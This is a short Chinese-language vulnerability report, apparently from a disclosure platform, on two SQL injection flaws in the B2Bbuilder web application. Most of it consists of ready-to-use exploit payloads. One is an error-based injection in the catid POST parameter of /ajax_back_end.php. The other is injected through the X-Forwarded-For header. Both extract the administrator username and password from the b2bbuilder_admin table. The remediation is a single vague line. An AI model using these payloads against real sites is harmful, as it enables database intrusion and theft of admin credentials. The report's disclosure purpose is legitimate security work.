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B2Bbuilder最新版注入漏洞两枚 - 网站安全 - 自学

B2Bbuilder虽然安全性低,但是也不能放弃治疗啊~

详细说明:

由响应中心来通报应该好一点,直接给出EXP吧 0x1 /ajax_back_end.php POST:catid=1 and (select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

漏洞 证明:

0x2 http头注入 X-Forwarded-For X-Forwarded-For: 1.1.1.1',(select 1 from (select count(*),concat((Select concat(user,0x3a,password) from b2bbuilder_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),1,1)#

然后直接访问index.php,爆密码

修复方案:

注入的常规修复呗

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